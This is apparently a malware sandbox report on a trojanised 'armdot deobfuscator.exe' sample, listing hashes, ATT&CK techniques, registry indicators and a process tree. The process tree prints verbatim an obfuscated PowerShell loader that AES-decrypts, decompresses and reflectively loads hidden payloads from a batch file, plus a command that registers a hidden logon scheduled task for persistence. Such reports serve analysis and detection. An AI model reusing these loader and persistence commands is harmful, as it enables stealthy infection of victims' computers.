5e74f08923fec3a5daf99b9a6c0763b21a98226f90c537235408a4258389ca01

Resubmissions

09-09-2024 19:32

240909-x89t5axhkh 10

09-09-2024 19:31

240909-x8rzbaxgre 8

Analysis

max time kernel
10s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09-09-2024 19:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

armdot deobfuscator.exe
Size

275KB
MD5

2bce10bc9bf1c5e013965c7a60deae05
SHA1

7efa1765b1842f4ce9e746c26c7d8394ad7820ce
SHA256

5e74f08923fec3a5daf99b9a6c0763b21a98226f90c537235408a4258389ca01
SHA512

fbfadeb3f983cc76478864de82952ce34cb7543743a3421151827c5a8226d24ddff2409f71230dfc4bbfad441cea9a148a11a31c16e3890cd5a0797fe4a9e7c0
SSDEEP

6144:IwDHUsnM9rwQCz8vRtKT2OyD0Ek+c9NWtO5MxRxLJcNfZ:IAjMnZtgbyD0wyWtOcJeZ

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe
4728	powershell.exe
2360	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	armdot deobfuscator.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	armdot deobfuscator.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1140	powershell.exe
1140	powershell.exe
4728	powershell.exe
4728	powershell.exe
2360	powershell.exe
2360	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe
Token: 36	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe
Token: 36	4728	powershell.exe
Token: SeIncreaseQuotaPrivilege	4728	powershell.exe
Token: SeSecurityPrivilege	4728	powershell.exe
Token: SeTakeOwnershipPrivilege	4728	powershell.exe
Token: SeLoadDriverPrivilege	4728	powershell.exe
Token: SeSystemProfilePrivilege	4728	powershell.exe
Token: SeSystemtimePrivilege	4728	powershell.exe
Token: SeProfSingleProcessPrivilege	4728	powershell.exe
Token: SeIncBasePriorityPrivilege	4728	powershell.exe
Token: SeCreatePagefilePrivilege	4728	powershell.exe
Token: SeBackupPrivilege	4728	powershell.exe
Token: SeRestorePrivilege	4728	powershell.exe
Token: SeShutdownPrivilege	4728	powershell.exe
Token: SeDebugPrivilege	4728	powershell.exe
Token: SeSystemEnvironmentPrivilege	4728	powershell.exe
Token: SeRemoteShutdownPrivilege	4728	powershell.exe
Token: SeUndockPrivilege	4728	powershell.exe
Token: SeManageVolumePrivilege	4728	powershell.exe
Token: 33	4728	powershell.exe
Token: 34	4728	powershell.exe
Token: 35	4728	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 5112	2444	armdot deobfuscator.exe	83
PID 2444 wrote to memory of 5112	2444	armdot deobfuscator.exe	83
PID 2444 wrote to memory of 5112	2444	armdot deobfuscator.exe	83
PID 5112 wrote to memory of 1140	5112	cmd.exe	87
PID 5112 wrote to memory of 1140	5112	cmd.exe	87
PID 5112 wrote to memory of 1140	5112	cmd.exe	87
PID 1140 wrote to memory of 4728	1140	powershell.exe	89
PID 1140 wrote to memory of 4728	1140	powershell.exe	89
PID 1140 wrote to memory of 4728	1140	powershell.exe	89
PID 1140 wrote to memory of 2920	1140	powershell.exe	92
PID 1140 wrote to memory of 2920	1140	powershell.exe	92
PID 1140 wrote to memory of 2920	1140	powershell.exe	92
PID 2920 wrote to memory of 4920	2920	WScript.exe	93
PID 2920 wrote to memory of 4920	2920	WScript.exe	93
PID 2920 wrote to memory of 4920	2920	WScript.exe	93
PID 4920 wrote to memory of 2360	4920	cmd.exe	95
PID 4920 wrote to memory of 2360	4920	cmd.exe	95
PID 4920 wrote to memory of 2360	4920	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\armdot deobfuscator.exe
"C:\Users\Admin\AppData\Local\Temp\armdot deobfuscator.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\crypt2.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wIalkQRXMjI6os9KK3k7hlFrDQkHj2XVm7J3WOd1/SA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ZRtmDqjWQoNwY5EpOeNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FqaIW=New-Object System.IO.MemoryStream(,$param_var); $iUhow=New-Object System.IO.MemoryStream; $lErRr=New-Object System.IO.Compression.GZipStream($FqaIW, [IO.Compression.CompressionMode]::Decompress); $lErRr.CopyTo($iUhow); $lErRr.Dispose(); $FqaIW.Dispose(); $iUhow.Dispose(); $iUhow.ToArray();}function execute_function($param_var,$param2_var){ $imtyS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PkVgO=$imtyS.EntryPoint; $PkVgO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\crypt2.bat';$CZdgQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\crypt2.bat').Split([Environment]::NewLine);foreach ($eeotO in $CZdgQ) { if ($eeotO.StartsWith(':: ')) { $Hwsqs=$eeotO.Substring(3); break; }}$payloads_var=[string[]]$Hwsqs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_505_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_505.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4728
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_505.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2920
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_505.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4920
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wIalkQRXMjI6os9KK3k7hlFrDQkHj2XVm7J3WOd1/SA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('e6ZRtmDqjWQoNwY5EpOeNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FqaIW=New-Object System.IO.MemoryStream(,$param_var); $iUhow=New-Object System.IO.MemoryStream; $lErRr=New-Object System.IO.Compression.GZipStream($FqaIW, [IO.Compression.CompressionMode]::Decompress); $lErRr.CopyTo($iUhow); $lErRr.Dispose(); $FqaIW.Dispose(); $iUhow.Dispose(); $iUhow.ToArray();}function execute_function($param_var,$param2_var){ $imtyS=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $PkVgO=$imtyS.EntryPoint; $PkVgO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_505.bat';$CZdgQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_505.bat').Split([Environment]::NewLine);foreach ($eeotO in $CZdgQ) { if ($eeotO.StartsWith(':: ')) { $Hwsqs=$eeotO.Substring(3); break; }}$payloads_var=[string[]]$Hwsqs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
55d32bc1c206428fe659912b361362de

SHA1
7056271e5cf73b03bafc4e616a0bc5a4cffc810f

SHA256
37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff

SHA512
2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
4a87c61ecc813e24d4a185b59ce220f4

SHA1
feff765be082bc91fcf7b99839de5632f1023b22

SHA256
7c45e22e034e3a99b691261d6b83dff71441acbcef0288b531742b500bfa58b8

SHA512
9ba3d3f1711fc452646acb1976b2ef69bb36afc24df77147bb5b8abe3c25a0cebccdbad2bd522a327ad267fd8d0682ed438995ff23bf67c2506629ff3254405b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z3ldtnax.sxg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\crypt2.bat

Filesize
270KB

MD5
3ea84c5d84c23aa2336ad19120ca2f69

SHA1
89f8c3ce7dff799df989d77b0589faeacf29577a

SHA256
c96331a38563d38ce6ae9f99294c0b39a595275cfdaf1ea85f91f693a7c302e6

SHA512
6aa2bf0d81b3fc103333e242492724dbfb45acb7ca5fd3289360bb7cff09d0bd524537570bc353f7ca92fb2e064aacdd3ee7e0a2fa4259b12056301050b8000f

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_505.vbs

Filesize
115B

MD5
83e83db0cd306f7165a8a42282012019

SHA1
b77271a7928b93de89fff26a2e38a1c851c9c249

SHA256
a2bc14481bb860fec61f4480a4e190f3f0e3b6d3872842039f14a9dd75e522a2

SHA512
5eeff2e1554b6c2d86fad17d9cb8564a8f2c00a2b007205a942c2fc653ceb446eb2b3a8579ce70b63130d02374f4b3121da3fd1c2652ebb1b9ee85f9d92e9daf

Download Submit
memory/1140-27-0x0000000007B40000-0x00000000080E4000-memory.dmp

Filesize
5.6MB

Download
memory/1140-25-0x0000000006250000-0x0000000006258000-memory.dmp

Filesize
32KB

Download
memory/1140-8-0x0000000004D50000-0x0000000004D72000-memory.dmp

Filesize
136KB

Download
memory/1140-10-0x0000000005700000-0x0000000005766000-memory.dmp

Filesize
408KB

Download
memory/1140-20-0x0000000005860000-0x0000000005BB4000-memory.dmp

Filesize
3.3MB

Download
memory/1140-21-0x0000000005C70000-0x0000000005C8E000-memory.dmp

Filesize
120KB

Download
memory/1140-22-0x0000000005CB0000-0x0000000005CFC000-memory.dmp

Filesize
304KB

Download
memory/1140-23-0x00000000074C0000-0x0000000007B3A000-memory.dmp

Filesize
6.5MB

Download
memory/1140-24-0x0000000006220000-0x000000000623A000-memory.dmp

Filesize
104KB

Download
memory/1140-6-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/1140-26-0x0000000006E70000-0x0000000006ED2000-memory.dmp

Filesize
392KB

Download
memory/1140-7-0x0000000004E70000-0x0000000005498000-memory.dmp

Filesize
6.2MB

Download
memory/1140-69-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/1140-9-0x0000000005690000-0x00000000056F6000-memory.dmp

Filesize
408KB

Download
memory/1140-68-0x0000000074ADE000-0x0000000074ADF000-memory.dmp

Filesize
4KB

Download
memory/1140-4-0x0000000074ADE000-0x0000000074ADF000-memory.dmp

Filesize
4KB

Download
memory/1140-5-0x0000000002790000-0x00000000027C6000-memory.dmp

Filesize
216KB

Download
memory/4728-30-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4728-53-0x0000000007720000-0x00000000077C3000-memory.dmp

Filesize
652KB

Download
memory/4728-54-0x00000000078C0000-0x00000000078CA000-memory.dmp

Filesize
40KB

Download
memory/4728-55-0x0000000007AD0000-0x0000000007B66000-memory.dmp

Filesize
600KB

Download
memory/4728-56-0x0000000007A50000-0x0000000007A61000-memory.dmp

Filesize
68KB

Download
memory/4728-59-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4728-52-0x0000000006B00000-0x0000000006B1E000-memory.dmp

Filesize
120KB

Download
memory/4728-42-0x00000000708F0000-0x000000007093C000-memory.dmp

Filesize
304KB

Download
memory/4728-41-0x00000000076D0000-0x0000000007702000-memory.dmp

Filesize
200KB

Download
memory/4728-31-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4728-29-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download